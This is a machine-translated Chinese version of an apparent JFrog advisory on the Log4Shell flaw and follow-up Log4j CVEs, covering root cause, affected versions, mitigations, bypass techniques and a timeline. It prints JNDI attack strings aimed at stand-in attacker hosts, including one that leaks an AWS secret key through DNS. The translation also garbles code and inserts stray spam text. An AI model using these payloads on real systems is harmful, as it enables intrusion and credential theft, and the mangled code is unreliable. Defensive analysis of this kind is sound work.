Log4j Log4Shell 0天漏洞:所有你需要知道的

2021年12月9日，周四，阿里云安全团队的一名研究人员倒下了Twitter上的一个零日远程代码执行漏洞，目标是极受欢迎的人群log4jJava的日志框架(具体来说，是2。X分支称为Log4j2)。这个漏洞最初是发现并报告给Apache阿里云安全团队于11月24日斜方分配cve - 2021 - 44228这个漏洞，后来被命名为Log4Shell安全研究人员。

---

JFrog发布了用于识别Log4J使用和风险的OSS工具

获取扫描工具

---

自12月9日起Log4j脆弱性据报道，它在野外被大量利用，因为它很容易被利用(武器化的poc是公开可用的)，而且非常受欢迎，在媒体和社交网络上得到了广泛的报道。

在这篇技术博客文章中，我们将澄清这个问题的利用向量，提供准确的研究支持的新信息，确切地说什么是易受攻击的(因为一些报告是不准确的)，为无法轻松升级Log4j版本的供应商提供Log4j漏洞修复建议，并回答一些我们被问及的关于这个漏洞的紧迫问题(例如最近几天流传的一些建议的缓解措施的有效性)。

请注意：JFrog产hth华体会最新官方网站品不受影响，因为它们不使用log4j-core包。

在这篇博文中:

• 什么导致Log4j Log4Shell漏洞?
• 为什么Log4Shell如此危险?
• Log4j漏洞究竟何时可被利用?
• JFrog的产品易受hth华体会最新官方网站攻击吗?
• 我正在使用log4j-api包，我容易受到攻击吗?
• 如何完全修复Log4j Log4shell问题?
• 我可以在不升级的情况下缓解Log4shell问题吗?
• 如何使用JFrog x射线检测Log4shell漏洞?

技术更新:

• 在较新的Java版本中利用Log4Shell
• 绕过LOG4J_FORMAT_MSG_NO_LOOKUPS缓解使用cve - 2021 - 45046
• 利用Log4j2 2.15.0进行远程代码执行
• CVE-2021-45105影响分析
• Log4Shell相关事件的时间轴
• 利用Log4j2 2.15.0进行远程代码执行-新旁路
• CVE-2021-44832影响分析

什么导致Log4j Log4Shell漏洞?

Log4j2默认支持一个名为“消息查找替代”。这个特性允许在记录日志时，用其他动态生成的字符串替换某些特殊字符串。例如，记录字符串运行$ {java:运行时}将产生类似如下的输出:

运行Java版本1.7.0_67

已经发现其中一个查找方法，特别是JNDI查找与LDAP协议，将获取指定的Java类从远程来源并反序列化它，在这个过程中执行一些类的代码。

这意味着，如果记录字符串的任何部分可以被远程攻击者控制，远程攻击者就可以在记录该字符串的应用程序上获得远程代码执行。

利用这个问题的最常见的替换字符串看起来类似于:

$ {jndi: ldap: / / somedomain.com}

请注意，以下协议也可能用于利用此问题(其中一些可能在默认情况下不可用)-

$ {jndi:ldap: / / somedomain.com}

$ {jndi:rmi: / / somedomain.com}

$ {jndi:dns: / / somedomain.com}(允许检测易受攻击的服务器，不会导致代码执行。)

基本的攻击流程可以用下图来概括:

---

直接从我们的安全研究团队了解有关Log4j漏洞的所有信息!

观看Log4shell点播网络研讨会

---

为什么Log4Shell如此危险?

漏洞，它收到了最高的CVSS评分可能-10.0-由于以下几个因素，是非常危险的:

1. 漏洞的利用是微不足道的和持久的，有大量的武器化的漏洞利用在GitHub上可用以及其他公共资源。
2. Log4j2是最流行的Java日志框架之一。目前有近7000依赖于log4j-core(易受攻击的工件)的Maven工件，以及使用它的无数其他Java项目。
3. 该漏洞可以很容易地用于驱动攻击场景，通过使用类似的请求轰炸随机HTTP服务器:

获取/ http /1.1

主持人:somedomain.com

用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}

或者，可以通过填充所有可用的HTML来强制使用特定的web应用程序输入带有有效负载字符串的字段，使用自动化工具，例如XSStrike．

4.尽管该漏洞与上下文相关，但由于任意用户输入必须到达Log4j2日志记录函数之一(请参阅下一节)，因此这种情况非常常见。在大多数日志场景中，日志消息的一部分包含来自用户的输入。这种输入很少被消毒，因为它被认为是极其安全的。

Log4j漏洞究竟何时可被利用?

要使特定的Java应用程序易受攻击，必须满足以下所有条件:

• Java应用程序使用log4j (Maven包)log4j-core)版本2.0.0-2.12.1或2.13.0-2.14.1
  • 版本2.12.2不容易受到攻击，因为它从2.16.0收到了反向移植的修复。
• 远程攻击者可以通过日志api之一-导致任意字符串被记录logger.info ()，logger.debug ()，logger.error ()，logger.fatal ()，logger.log ()，logger.trace ()，logger.warn ()．
• 没有应用log4j特定的缓解(请参阅下一节“缓解”)。
• (部分机器)使用的Java JRE / JDK版本低于以下版本:
  • 6 u211
  • 7 u201
  • 8 u191
  • 11.0.1

这是因为后来的版本设置了JVM属性com.sun.jndi.ldap.object.trustURLCodebase来假默认情况下，它禁用JNDI从任意URL代码库加载类。
请注意，仅依靠新Java版本来防范此漏洞是有风险的，因为在易受攻击的应用程序的类路径中包含某些“gadget”类的机器上，该漏洞仍然可能被利用。看到附录B-“在较新的Java版本中利用Log4Shell”

JFrog的产品易受hth华体会最新官方网站攻击吗?

值得注意的是，JFrog Security已经验证了这一点JFrog平台解决方案本身不受影响，因为没有产品，hth华体会最新官方网站包括Artifactory，x光，JFrog分布、洞察号、访问号或任务控制号都在使用log4j-core包。

为免生疑问，JFrog的产品是hth华体会最新官方网站没有受到影响通过以下任何cve -

• cve - 2021 - 44228
• cve - 2021 - 45046
• cve - 2021 - 45105
• cve - 2021 - 44832

我正在使用log4j-api包，我容易受到攻击吗?

请注意，一些建议声称Maven包log4j-api很容易受到这个问题的影响。JFrog的安全研究团队调查了这一说法，并得出结论Log4j-api(本身)不容易受到攻击。这是由于缺乏JndiLookup功能，并且可以通过尝试触发易受攻击的代码很容易看到。

在只安装了log4j-api的情况下运行这段代码会得到以下输出:

Log4j2找不到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录到控制台…

运行相同的代码时SimpleLogger类时，将逐字记录查找字符串，但不会触发查找代码(因为它不存在)。

如何完全修复Log4j Log4shell问题?

解决此问题的最佳方法是将log4j依赖项升级到version2.16.0，它通过默认禁用JNDI并删除对消息查找的支持，彻底解决了这个问题。

升级到2.15.0版本也将完全屏蔽默认配置，使其不被远程利用，尽管2.15.0版本添加了大多数缓解措施已经被绕过了吗(见附录D)。为了保持对未来的保证，我们建议尽快升级到2.16.0。

我可以在不升级版本的情况下缓解Log4shell漏洞吗?

虽然我们建议通过将log4j版本升级到固定版本来完全修复该漏洞，但也可以在不升级的情况下完全缓解该问题:

方法1:对于log4j 2.10.0及更高版本—禁用查找:

更新-在罕见的非默认配置中，可以通过CVE-2021-45046绕过此缓解方法。看到附录C了解更多信息。我们仍然建议无法升级到较新的Log4j2版本的供应商同时使用此缓解方法和下面指定的缓解方法2。缓解方法2(删除易受攻击的类别)不受CVE-2021-45046的影响。

如果使用log4j 2.10.0或任何更高版本，我们建议通过设置环境变量来全局禁用消息查找LOG4J_FORMAT_MSG_NO_LOOKUPS来真正的在Java应用程序加载到系统的初始化脚本之前执行这个命令:

出口LOG4J_FORMAT_MSG_NO_LOOKUPS = true

也可以在系统范围内通过编辑/etc/environment文件和添加:

LOG4J_FORMAT_MSG_NO_LOOKUPS = true

这种方法可以作为一个额外的保护层以防您怀疑并非所有依赖项都已正确更新，甚至可以防止第三方Java包依赖/嵌入易受攻击的版本，并且尚未进行适当修补。

或者，可以通过在运行易受攻击的Java应用程序时添加以下命令行标志来禁用对JVM的特定调用的查找:量Dlog4j2.formatMsgNoLookups = True

例如:

java Dlog4j2。formatMsgNoLookups=True -jar vulnerability .jar

方法2 -适用于所有2。xversions: removing the vulnerable class

在所有log4j上。xversions, it is possible to remove theJndiLookup通过执行以下命令从任何Java应用程序中删除类:

查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/lookup/JndiLookup.class\;

这将从当前目录开始递归地查找所有log4j-core JAR文件，并删除易受攻击的文件JndiLookup从他们那里学习。为了实现完全覆盖，可以从项目或服务器的根目录执行该命令。

注意:此方法建议仅作为最后的手段，因为有可能易受攻击JndiLookup类嵌入到递归JAR文件中或zip命令无法访问的位置。在选择此方法时，强烈建议手动验证noJndiLookup类可用于任何Java应用程序。

如何使用JFrog x射线检测Log4shell漏洞?

x射线客户可以像往常一样扫描工件来检测CVE-2021-44228。一如既往，这可以通过CI / CD。

JFrog命令行:

或者JFrog IDE插件:

---

预订x射线安全工具的演示!

预订演示

---

附录A

脆弱的例子

容易受到远程攻击的示例应用程序LunaSec咨询)：

进口org.apache.logging.log4j.LogManager;进口org.apache.logging.log4j.Logger;进口. io . *;进口java.sql.SQLException;进口java.util。*;公共类VulnerableLog4jExampleHandler实现了HttpHandler{静态日志记录器日志＝LogManager．getlog（VulnerableLog4jExampleHandler．类．getName());/ * **一个简单的HTTP端点，读取请求的User Agent并将其记录回来。*这基本上是解释漏洞的伪代码，而不是一个完整的例子。*@param他HTTP请求对象* /公共无效处理（HttpExchange他）抛出IOException{字符串userAgent＝他．getRequestHeader（“用户代理”）;//这一行通过记录攻击者控制的HTTP用户代理报头触发RCE。//攻击者可以将他们的User-Agent头设置为:${jndi:ldap://attacker.com/a}日志．信息（"请求用户代理:{}", userAgent);字符串响应＝“你好，”+ userAgent +“啊!”；他．sendResponseHeaders（200，响应．长度());OutputStream操作系统＝他．getResponseBody（）;操作系统．写（响应．getBytes());操作系统．关闭（）;}}

附录B -

在较新的Java版本中利用Log4Shell

方法1 -滥用其他消息查找

尽管在较新的Java版本中禁用了JNDI远程类加载，但消息查找机制本身仍然有效，并且可以滥用于各种目的:

1. 如前所述，使用字符串如$ {jndi:dns: / / dnsserver.com/somedomain}将导致受害者向dnsserver.com发送DNS查询(查询有关somedomainDNS记录)。这可以用于检测易受攻击的log4j实例、隧道回传数据，甚至作为DDoS攻击(给定足够的易受攻击服务)。
2. 有几个查找替换从受害机器中泄露敏感信息。最突出的是，使用攻击字符串$ {jndi: ldap: / / $ {env: AWS_SECRET_ACCESS_KEY} .attacker-srv.com/foo}(使用任何协议类型)可能泄露机器的秘密AWS访问密钥，如果将此环境变量导出到易受攻击的log4j进程。当然，可以修改攻击字符串以泄漏易受攻击的log4j进程中存在的任何环境变量。其他有趣的信息泄露查找包括:
   1. 主:$ {x}—泄漏命令行参数#x的值，该参数可能包含通过命令行传递的密码或访问密钥等敏感数据。
   2. $ {sys: propname}-泄漏a的值Java系统属性．例如，这可以用来泄漏当前用户名(user.name)：

方法2 -滥用本地类路径中的工厂类

正如在这篇Veracode博客文章但是，即使在禁用远程反序列化的较新Java版本上，也有方法利用JNDI注入。

例如，如果org.apache.naming.factory.BeanFactory类(通常附带)Apache Tomcat在使用log4j的易受攻击应用程序的类路径中可用，那么可以利用Log4Shell漏洞进行远程代码执行，而不考虑底层的JRE/JDK版本。

这是因为即使新版本的Java不会反序列化远程任意类，攻击者仍然可以控制工厂类和它的属性，通过提供的JNDI参考:

远程攻击者不能提供任意的工厂类，但可以重用易受攻击程序类路径中的任何工厂类作为小工具。

一个可用的工厂类应该具有以下属性:

• 存在于易受攻击程序的类路径中
• 实现ObjectFactory接口
• 实现getObjectInstance方法
• 执行危险的操作参考的属性

研究人员发现BeanFactory类符合这一要求，因为它危险地使用了反射——创建任意Java代码对象，仅基于Reference的字符串属性，这些属性由攻击者控制。

该博客引用了托管RMI服务器的完整漏洞利用代码，并提供了适当的引用，可用于在较新的Java版本中利用Log4shellBeanFactory类在易受攻击的应用程序的类路径中可用。

请注意，使用这种服务器的Log4Shell攻击字符串将类似于-

$ {jndi:rmi: / / attacker-srv.com/foo}

但是，所提供的RMI服务器也可以转换为ldap或ldap在这种情况下，攻击字符串将相应地改变。

由于其他“工厂小工具”，如BeanFactory我们强烈建议不要依赖较新的Java版本作为抵御Log4Shell的唯一防线，而是升级log4j和/或实现我们提出的一些缓解措施。

方法3 -使用序列化的Java对象和本地小工具类

如上所述，幼稚的攻击向量将指示易受攻击的基于log4j2的应用程序检索远程序列化类(通常通过LDAP)并加载它——允许攻击者完全控制类的内容。

但是，LDAP还支持在LDAP请求本身中发送序列化的Java对象(类的实例)javaSerializedData属性。
只有当Object的类在当前类路径(搜索类的目录和JAR文件列表)中可用时，才可能反序列化Object。
一个重要的区别是，在反序列化对象时trustURLCodebase安全缓解没有效果，因为特定的缓解只会阻止加载新的代码库。

众所周知，一些特定的对象在反序列化时可以直接导致远程代码执行——这些对象所基于的类通俗地称为“gadget”。
例如-ysoserial概念验证工具汇集了这些众所周知的小工具，并允许生成具有任意代码执行有效负载的对象。

因此，攻击者知道在易受攻击的应用程序的类路径中存在特定的“gadget”类，就可以生成这样的对象，通过LDAP发送它，并在反序列化时获得代码执行，而不管是否存在javaSerializedData属性。

此外，由于上述漏洞的信息泄漏属性，攻击者可能能够构建一个全自动工具，该工具首先从易受攻击的应用程序查询特定的系统属性(通过使用递归查找)，确定易受攻击的应用程序中是否存在任何小工具类，然后构建特定于目标的有效负载以获得远程代码执行。

直到今天，我们还没有看到这样的工具公开可用或在野外使用，但不幸的是，我们认为这种恶意活动还远未结束。

附录C -

绕过LOG4J_FORMAT_MSG_NO_LOOKUPS利用CVE-2021-45046进行缓解

在本节开始之前，我们想说，执行这种旁路的先决条件是极不可能的，因此我们仍然认为LOG4J_FORMAT_MSG_NO_LOOKUPS缓解在绝大多数情况下是有效的。

由于CVE-2021-45046的披露，我们发现建议的缓解技术之一，即禁用消息查找机制，可以在某些非默认配置中绕过。

底线是- CVE-2021-45046是否可以被利用Log4j2 2.10.0—2.14.1(包括)，它允许攻击者绕过LOG4J_FORMAT_MSG_NO_LOOKUPS环境变量缓解，以及log4j2.noFormatMsgLookup系统属性缓解。

那么，利用CVE-2021-45046的条件是什么呢?

(归功于社区项目log4shell-vulnerable-app实现了类似的示例条件)

1. 必须向Log4j2配置中添加一个新的(非默认的)模式布局。模式布局必须使用上下文查找($ {ctx:)。一个脆弱的例子log4j2.properties文件-

   appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

   请注意Log4j2配置可以以许多不同的方式指定，但在任何情况下都没有默认的上下文查找模式布局-

   

2. 易受攻击的应用程序必须使用线程上下文映射，攻击者可以控制输入数据，例如:

   public void handle(HttpExchange he)抛出IOException {// userAgent是攻击者控制的字符串userAgent = he. getrequestheader ("User-Agent");//注意，第一个参数匹配已配置模式ThreadContext中的变量名。把(“useragent”,useragent);//日志消息本身不需要包含任何消息查找log.info("Received a request with User-Agent");…

在这两种情况都存在的情况下，攻击者可以“像往常一样”发送攻击令牌——例如，在这种情况下，攻击者可以发送一个HTTP请求，如-

获取/ http /1.1主持人:somedomain.com用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}

代码执行将会发生，尽管LOG4J_FORMAT_MSG_NO_LOOKUPS缓解。

更新#1 -更多易受攻击模式的例子，如@pwntester -

MapMessage

图案布局示例:

Appender.console.layout.pattern = ${map:污染}…

传递用户控制数据(受污染)的Java代码示例:

MapMessage msg = new StringMapMessage()。(“信息”,“H”)。(“污染”,污染);
logger.error(味精);

杰克逊(只有当杰克逊在应用程序的类路径中)

图案布局示例:

Appender.console.layout.pattern = ${map:污染}…

传递用户控制数据(受污染)的Java代码示例:

logger.info(新ObjectMessage(污染));

StructuredDataMessage

图案布局示例:

Appender.console.layout.pattern = ${sd:污染}…

传递用户控制数据(受污染)的Java代码示例:

StructuredDataMessage m = new StructuredDataMessage("1"， "H"， "event");
m.put(“污染”,污染);
logger.error (m);

更新#2 -JFrog安全研究团队发现并验证的更多易受攻击模式示例-

环境

图案布局示例:

appender.console.layout.pattern = ${env:TAINTED_ENV_VAR}…

主要参数

图案布局示例:

Appender.console.layout.pattern = ${main:0}…

传递用户控制数据(受污染)的Java代码示例:

MainMapLookup.setMainArguments (args);
logger.error (" foo ");

事件(消息)

示例配置:

＜？xml version="1.0" encoding="UTF-8"?>        ${event:Message} ...             这将有效地重新打开消息查找。因此，可以执行类似于旧的Log4j版本的开发logger.info (" $ {jndi: ldap: / / attacker.com/foo}”);

附录D -

利用Log4j2 2.15.0进行远程代码执行

Log4j2 2.15.0新增1没有什么重要的缓解措施拒绝利用Log4Shell漏洞(CVE-2021-44228)。这些是添加的缓解和它们当前的旁路状态-

1. 1. 默认情况下禁用消息查找可以在特定配置中绕过吗(CVE-2021-45046及更多)

1. 1. allowedJndiProtocols—JNDI默认只允许使用以下协议—LDAP、LDAPS、Java (local)—没有已知的旁路

1. 1. allowedLdapHosts默认情况下，LDAP上的JNDI只能访问本地主机(127.0.0.1/localhost)可以在特定的操作系统中绕过吗(macOS, FreeBSD, Fedora, Arch Linux和Alpine Linux)

1. 1. allowedLdapClasses-默认情况下，LDAP上的JNDI可能只加载Java基本类总能被绕过吗

由于绕过了缓解措施#3和#4,CVE-2021-45046的严重程度从“低”(3.7)升级为“严重”(9.0)。因为利用它会立即导致RCE．话虽如此，正如我们上面提到的，我们仍然考虑开发的先决条件CVE-2021-45046是极不可能的，因为它们需要一个罕见的非默认配置。

这里有一些关于具体旁路的更多细节

默认情况下禁用消息查找

此缓解可以通过-绕过

1. 1. 附录C中规定的任何一种配置

1. 1. 如果应用程序显式允许消息查找，则通过定义包含的模式布局% m{查找}在其中一个配置文件中。例如:Appender.console.layout.pattern = %m{查找}

如前所述，目前在Log4j2 2.15.0中绕过此缓解会直接导致RCE。

默认情况下，LDAP上的JNDI只能访问本地主机

正如@marcioalm在推特上所说，攻击字符串类似于$ {jndi: ldap: / / 127.0.0.1 # evilhost.com: 1389 /}将绕过本地主机限制，但最终与远程连接evilhost.com只有当易受攻击的应用程序在macOS和FreeBSD上运行时，我们才能重现这种绕过。外部消息来源也报告了Fedora、Arch Linux和Alpine Linux的漏洞。在其他操作系统上，Java抛出UnknownHostException(在Ubuntu、Debian和Windows上测试)

默认情况下，LDAP上的JNDI可能只加载Java原语类

请注意，如果JNDI是通过非默认配置启用的，那么以下两种绕过也将在2.16.0版本上工作

旁路#1 -检查时间，使用时间攻击

这个漏洞是由JFrog的安全研究团队和其他安全研究人员独立发现并向Apache披露的。

版本2.15.0中引入的类加载缓解首先通过调用getAttributes然后通过调用加载LDAP指定的类/对象查找:

if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAP.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost()))}警告("尝试访问ldap服务器不在允许列表中");返回null;} //获取类属性ATTRIBUTES = this.context.getAttributes(name);if (attributes != null){//类加载检查在这里…}……}……//加载类返回(T) this.context.lookup(name);…

然而,getAttributes和lookup调用都将导致发送单独的LDAP请求

恶意服务器不需要为两者发送相同的LDAP响应getAttributes和查找请求。

因此，攻击者可以很容易地实现LDAP服务器，其操作如下

• 在LDAP请求#1上—发送回带有NULL属性的响应(将导致包代码跳过所有属性检查)
• 在LDAP请求#2上—发送回恶意响应(例如攻击者的URL)javaCodeBase）

这是一种典型的“检查时间、使用时间”(ToCToU)攻击，尽管没有竞争条件，因为攻击者的服务器是同步咨询的。

优势-不依赖于在易受攻击应用程序的类路径中可用的“gadget”类
缺点加载远程代码库在较新的Java版本中被阻止(其中trustURLCodebase是假的)

旁路#2 -使用具有伪造名称的序列化对象

反序列化嵌入式Java对象时，检查对象的类是否以不完整的方式实现，因为类比较仅通过名称完成:

if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {warn("不允许{}的反序列化"，className);返回null;}

因此，攻击者可以指定一个任意的序列化的对象在LDAP响应中，但是设置javaClassName到其中一个基本类型以绕过检查private static final List permanentallowclasses = Arrays.asList(Boolean.class.getName()，
Byte.class.getName()， Character.class.getName()， Double.class.getName()， Float.class.getName()，
Integer.class.getName()， Long.class.getName()， Short.class.getName()， String.class.getName())

与之前的序列化对象绕过类似，这依赖于受害者在本地类路径中具有序列化对象的适当“gadget”类。

优势-适用于较新的Java版本(其中trustURLCodebase是假的)
缺点-依赖于在易受攻击应用程序的类路径中可用的“gadget”类

附录E -

Log4j2中CVE-2021-45105的影响分析

最近，在Log4j2中发布了一个新的拒绝服务CVE-2021-45105，带有CVSS7.5(AV: N /交流:L /公关:N / UI: N / S: U / C: N /我:N / A: H)。JFrog安全团队已经验证了2.16.0版本的CVE数据和声明，并估计CVSS为3.7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)。这个估计是基于以下的

CVE2021 - 45105先决条件

尽管CVE中没有明确规定，但此攻击的先决条件与CVE-2021-45046完全相同，即:攻击者必须控制其中一个模式布局的非消息部分．因此，CVE中提到的利用案例(“控制线程上下文映射的攻击者”)只是适用案例之一。实际上，攻击者可以滥用中指定的任何非默认配置附录C．例如，一个配置好的模式MapMessage也会使应用程序容易受到此CVE的攻击(只要攻击者控制受污染的变量)-appender.console.layout.pattern = ${map:污染}- %-5p %c{1}:%L - %m%n从我们的角度来看，对这种非默认(和不太可能)配置的需求将这个问题的攻击复杂性提高到“高”。

拒绝服务的影响

运行公共漏洞字符串-${::-${::-${}}}在配置有漏洞的Log4j2版本2.16.0上，产生一个IllegalStateException- - - - - -PoC字符串不会导致任何过度的CPU或内存使用，因此DoS影响(如果有的话)不应该有任何系统范围的影响。由于默认情况下，在Log4j2 appeners中会忽略异常(仅记录，不抛出)，因此抛出的异常不会使服务器崩溃因此，DoS的影响已完全减轻;

private void handleAppenderError(最终LogEvent事件，最终RuntimeException ex) {appender.getHandler()。error(createErrorMsg("处理Appender时发生异常")，event, ex);if (!appender.ignoreExceptions()) {// ignoreExceptions=true，默认抛出ex;}}

官方修复

可以通过将Log4j2升级到2.17.0版本来解决这个问题。

正式修复(版本2.17.0)更改了StrSubstitutor逻辑来处理PoC的边缘情况，并且在面对类似输入时不会抛出任何异常。
对于旧版(Java 7)用户，已经暗示将发布2.12.3版本来修复此问题，尽管在撰写本文时还没有这样的版本可用。

缓解措施的CVE2021 - 45105

请注意，此问题与JNDI无关，因此所有先前建议的缓解措施(例如删除JndiLookup类)不会缓解这个问题。

为了缓解这个问题，在不忽略异常的非默认情况下，供应商可以用异常处理程序包装日志代码，这样DoS就不会发生。

总结这个CVE目前似乎不会对生产web应用程序构成现实世界的威胁。
如前所述，JFrog的实际CVSS估计为3.7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)
我们建议供应商先把旧的Log4j2部署升级到2.16.0，然后再把2.16.0部署升级到2.17.0。

附录F -

Log4shell timeliene

18.07.2013 - The易受攻击的JNDI查找特性是承诺。
24.11.2021 -阿里巴巴员工陈昭军报告Apache漏洞。
26.11.2021 -cve - 2021 - 44228被分配到MITRE。
01.12.2021 -最早的开发证据根据Cloudflare的说法，这可能表明该漏洞的细节在公开披露之前就被泄露了。
05.12.2021 - Apache的开发人员创建bug票为了解决这个问题，发布版本2.15.0被标记为目标修复版本。
09.12.2021 -CVE-2021-44228公开(原始的Log4Shell CVE)。
09.12.2021 -安全研究员在推特上发布了一个零日远程代码执行漏洞．这条推文随后被删除。
10.12.2021 -版本2.15.0发布了(修复了CVE-2021-44228)，并修复了默认情况下禁用消息查找，并将JNDI操作限制为特定的类和主机名。
10.12.2021 -检测到对Minecraft服务器的攻击。
13.12.2021 -版本2.16.0已经发布(修复了CVE-2021-45046)，它完全删除了消息查找(不能在任何配置中启用)并默认禁用JNDI支持(可以重新启用)。
14.12.2021 -CVE-2021-45046上市，表明Log4Shell仍然可以在非默认配置上被利用，但不会产生严重的影响。
15.12.2021 -2.12.2版本发布(对2.16.0进行了类似的修复)，用于对Java 7的后端支持。
16.12.2021 - CVE-2021-45046的CVSS提升到9.0，因为在Log4J 2.15.0上发现了几个绕过主机名和类缓解的方法。
18.12.2021 -CVE-2021-45105公开，显示了Log4J字符串替换中的一个小错误，在非默认配置中可能导致抛出异常。
18.12.2021 -版本2.17.0已经发布(修复了CVE-2021-45105)，它重新实现了字符串替换并锁定了JNDI仅在本地使用。
22.12.2021 -版本2.12.3发布(对2.17.0进行了类似的修复)，以支持对Java 7的后端支持。
22.12.2021 -2.3.1版本已经发布(对2.17.0进行了类似的修复)用于支持Java 6。

附录G -

CVE-2021-44832影响分析

发布了Log4j2 2.17.0中的另一个远程代码执行CVEcve - 2021 - 44832，使用CVSS6.6(AV: N /交流:H /公关:H / UI: N / S: U / C: H /我:H: H)。

CVE在2.17.1 (Java 8)、2.13.4 (Java 7)和2.3.2 (Java 6)版本中进行了修复。

CVE具有极高的先决条件(详见下文)，因此不太可能影响任何现实世界的系统。

在这一点上，我们认为从Log4j2 2.17.0(或同等版本)升级并不重要。

CVE2021 - 44832先决条件

目前，只有当攻击者直接控制Log4J的配置文件，特别是如果攻击者可以添加“JDBCAppender带有任意属性。

该漏洞是由于“jdbc cappender”在其中接受JNDI数据源而导致的数据源属性。
在访问JNDI数据源时，远程协议(如LDAP)仍然可用，这意味着指定字符串，如ldap: / / attacker.com: 1337将导致易受攻击的应用程序联系攻击者的服务器，该服务器可以提供要加载的远程类或序列化对象。

PoC

这是一个极简的配置文件，将触发漏洞:

＜？xml version="1.0" encoding="UTF-8"?>       

如前所述，Log4j可以通过许多不同的格式(JSON、YAML、属性等)进行配置，因此这只是工作PoC的一个示例。

注意，易受攻击的应用程序实际上不需要记录任何东西，但记录器确实需要初始化，例如如下-

Logger Logger = LogManager.getLogger("HelloWorld");

CVE2021 - 44832官方修复

可以通过将Log4j2升级到2.17.1 (Java 8)、2.13.4 (Java 7)或2.3.2 (Java 6)版本来修复此问题。

的官方修复禁用JNDI对JDBCAppender的支持(默认情况下)，并添加一个系统属性log4j2.enableJndiJdbc这允许重新启用它。

此外，JDBC现在重用公共的JNDIManager类，这意味着之前对JNDI的所有限制都将适用，即使配置了“enableJndiJdbc”(例如，仅配置本地jdbc)java在连接字符串中允许使用协议)

气候变化的CVE2021 - 44832

与众所周知的Log4Shell缓解类似，可以从Log4J JAR文件中删除“JdbcAppender.class”文件

查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class\;

---

JFrog发布了用于识别Log4J使用和风险的OSS工具

获取扫描工具

---

阅读有关新的零日漏洞的所有内容SpringShell脆弱性